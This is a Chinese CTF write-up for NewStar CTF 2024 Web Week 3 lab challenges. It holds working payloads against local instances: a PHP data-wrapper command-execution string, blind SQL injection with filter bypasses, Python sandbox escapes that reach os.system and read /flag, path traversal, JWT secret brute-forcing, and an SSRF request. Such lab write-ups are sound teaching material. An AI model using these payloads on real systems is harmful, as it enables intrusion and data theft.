NewStar CTF 2024 Web Week3复现
平台链接https://ctf.xidian.edu.cn/training/14
紧跟上次week1和week2的题目
写于7.18和7.19
include me
1 |
|
很容易看出来这是data伪协议的题,所以用base64编码一次,此处注意加号需要编码成%2B,不然会被解析为空格,等号则不能出现在base编码里面,所以后面添上无关信息
1 | http://127.0.0.1:48254?iknow=1&me=data://text/plain;base64,PD89IHN5c3RlbSgnbHMnKTs/PjEy |
blindsql1
如题,考的盲注
1 | http://127.0.0.1:48254/?student_name=Charlie'||1%23 |
过滤了空格,/,=,substr
=用like代替
1 | import requests |
臭皮的计算机
根据提示访问calc,源代码贴在下面了
1 | from flask import Flask, render_template, request |
这里要用全角的字符,但是不知道为什么斜体不能直接做,要用chr把数字转成文字
先附上一个自动转斜体的脚本
1 | import string |
___import_(chr(111)+chr(115)).
𝒄𝒉𝒓(115)+𝒄𝒉𝒓(121)+𝒄𝒉𝒓(115)+𝒄𝒉𝒓(116)+𝒄𝒉𝒓(101)+𝒄𝒉𝒓(109)
再专门写个脚本吧
1 | s = "system" |
1 | __𝒊𝒎𝒑𝒐𝒓𝒕__(𝒄𝒉𝒓(111)+𝒄𝒉𝒓(115)).𝒔𝒚𝒔𝒕𝒆𝒎(𝒄𝒉𝒓(108)+𝒄𝒉𝒓(115)+𝒄𝒉𝒓(32)+𝒄𝒉𝒓(47)) |
臭皮踩踩背
这题是用nc连接的,
只有部分代码显示
1 | nc 127.0.0.1 48254 |
官方对eval的解释https://docs.python.org/3.10/library/functions.html#eval
具体不是很会
https://ctf.xidian.edu.cn/training/14?challenge=620&tab=answer
Python 中「一切皆对象」
利用函数对象的 __globals__ 属性来逃逸
具体不会
但问ai,ai说用
1 | f.__globals__['__builtins__'].__import__('os').popen('cat /flag').read() |
这「照片」是你吗
打开网页里面就有
1 | <!-- 图标能够正常显示耶! --> |
所以很明显要进行目录穿越,而浏览器会把../给去掉,所以我们需要一个发包软件,fuzz之后发现app.py有内容
1 | from flask import Flask, make_response, render_template_string, request, redirect, send_file |
代码审计题,发现造jwt的密钥是六位数字,所以对它进行爆破,发现密码787064,写脚本造cookie
1 | import time |
然后使用execute中的ssrf漏洞读取内容
1 | http://127.0.0.1:48254/execute?api_address=http://localhost:5001/fl4g |